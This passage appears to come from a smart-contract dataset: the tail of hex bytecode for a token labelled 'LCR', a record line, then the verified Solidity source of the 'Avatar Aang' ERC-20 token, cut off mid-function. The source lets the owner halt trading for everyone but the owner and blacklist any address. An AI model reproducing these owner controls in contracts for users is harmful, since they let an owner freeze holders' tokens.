57600080fd5b610d7d670de0b6b3a76400008402611a1d565b9050610d9181610d8c83611c3a565b611d57565b9050610ddb6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482611d57565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e87600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482611d92565b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ef7600c5484611d57565b600c8190555060118054806001018281610f1191906127d8565b9160005260206000209001600086909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050600191505092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fc757600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600354905090565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561107157600080fd5b6001600f60006101000a81548160ff021916908315150217905550565b6000600460009054906101000a900460ff16156110ae57600090506110bc565b6110b9848484611dab565b90505b9392505050565b6000670de0b6b3a7640000905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561112f57600080fd5b600460009054906101000a900460ff161561118c576000600460006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000826111c13386611862565b14156111d8576111d18483610c06565b90506111dd565b600090505b9392505050565b6011818154811015156111f357fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561127f57600080fd5b60058081111561128b57fe5b600460019054906101000a900460ff1660058111156112a657fe5b141515156112b357600080fd5b80600460016101000a81548160ff021916908360058111156112d157fe5b021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561133557600080fd5b8060058190555050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156113905760009050611443565b600082111561143e576113e16000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611d92565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061142f60035483611d92565b60038190555060019050611443565b600190505b919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156114ec57600080fd5b6000600f60006101000a81548160ff021916908315150217905550565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561156757600080fd5b60008211156116495761159c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600354611d92565b8211156115ac576000905061164e565b6115f46000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611d57565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061164260035483611d57565b6003819055505b600190505b919050565b60055481565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156116b557600080fd5b8060068190555050565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561171b57600080fd5b6010805480600101828161172f91906127d8565b9160005260206000209001600083909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5481565b6117b56127c4565b6040805190810160405280600381526020017f4c43520000000000000000000000000000000000000000000000000000000000815250905090565b6000600460009054906101000a900460ff1615611810576000905061181d565b61181a8383612156565b90505b92915050565b60108181548110151561183257fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561194557600080fd5b6005600460016101000a81548160ff0219169083600581111561196457fe5b021790555061197161236d565b5061197a612560565b50565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156119d957600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060006005549150611a41611a3b85611a366110c3565b612753565b836127a9565b90508092505050919050565b6000816009541015611a625760009050611c34565b611aaa6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611d57565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b56600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611d92565b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bc6600c5483611d57565b600c8190555060118054806001018281611be091906127d8565b9160005260206000209001600085909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050600190505b92915050565b6000806000905060006005811115611c4e57fe5b600460019054906101000a900460ff166005811115611c6957fe5b1415611c73578290505b60016005811115611c8057fe5b600460019054906101000a900460ff166005811115611c9b57fe5b1415611caf57611cac8360026127a9565b90505b60026005811115611cbc57fe5b600460019054906101000a900460ff166005811115611cd757fe5b1415611ceb57611ce88360046127a9565b90505b60036005811115611cf857fe5b600460019054906101000a900460ff166005811115611d1357fe5b1415611d2757611d248360056127a9565b90505b806008541015611d375760085490505b6000811115611d4e57611d4c60085482611d92565b505b80915050919050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038311151515611d8757fe5b818301905092915050565b6000818310151515611da057fe5b818303905092915050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611e3a576000905061214f565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611e89576000905061214f565b611f0f600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611d92565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600082118015611fcb57508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120e5576120186000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611d92565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120a26000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611d57565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156121a75760009050612367565b6000821180156121e357508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156122fd576122306000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611d92565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122ba6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611d57565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b6000806000806000601080549050141561238a576000935061255a565b61239b600a546010805490506127a9565b9250600091505b60016010805490500382111515612555576010828154811015156123c257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506124386000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611d57565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124e4600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611d92565b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081806001019250506123a2565b600193505b50505090565b6000806000806000601180549050141561257d576000935061274d565b61258e6008546011805490506127a9565b9250600091505b60016011805490500382111515612748576011828154811015156125b557fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905061262b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611d57565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126d7600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611d92565b600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508180600101925050612595565b600193505b50505090565b60008082141561276657600090506127a3565b817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81151561279157fe5b04831115151561279d57fe5b81830290505b92915050565b60008082848115156127b757fe5b0490508091505092915050565b602060405190810160405280600081525090565b8154818355818115116127ff578183600052602060002091820191016127fe9190612804565b5b505050565b61282691905b8082111561282257600081600090555060010161280a565b5090565b905600a165627a7a723058208c33247bc19a3ac27e36ae88e8e75fb3b67285b3546bbf675e876e9eb4029b3b0029
|
{"success": true, "error": null, "results": {}}
| 6,368 |
0x4f25c0f07b6caf2ce1dc839f420d64859773be2f
|
/**
*Submitted for verification at Etherscan.io on 2022-04-14
*/
/**
*Submitted for verification at Etherscan.io on 2022-04-14
*/
// SPDX-License-Identifier: UNLICENSED
/**
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣴⣶⣿⣿⣿⣿⣶⣶⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣤⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⡟⠛⠃⠀⠀⠀⠀⠀⠙⢻⣿⣿⣿⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⠀⠀⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣅⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣿⠋⠉⠉⠙⠻⣿⣿⣧⣼⣿⣿⠟⠋⠁⠈⠙⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⠀⠀⠀⠀⠀⠈⢿⣿⣿⣿⠁⠀⠀⠀⠀⠀⣿⣿⣿⣿⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⢿⣿⣷⣦⣄⣀⣀⣀⣼⣿⣿⣧⣀⣀⣀⣀⣤⣾⣿⡿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣤⡀⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⢁⣤⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣦⣌⡙⠿⣿⣿⣿⣿⣿⣿⣿⣿⠿⢋⣡⣶⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣶⣬⡙⠻⠿⠿⠟⢋⣤⣶⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣴⣶⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣶⣦⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
avataraang.finance
tg.me/avataraangETH
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AVATARAANG is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Avatar Aang";
string private constant _symbol = "AAang";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 10;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x403BC85aD72fCF8716574863e11a5cbaab872376);
address payable private _marketingAddress = payable(0xC3507b49a6c162CB8E0ae926A4fe07FF7666F0E5);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000 * 10**9; //1%
uint256 public _maxWalletSize = 50000 * 10**9; //5%
uint256 public _swapTokensAtAmount = 4000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
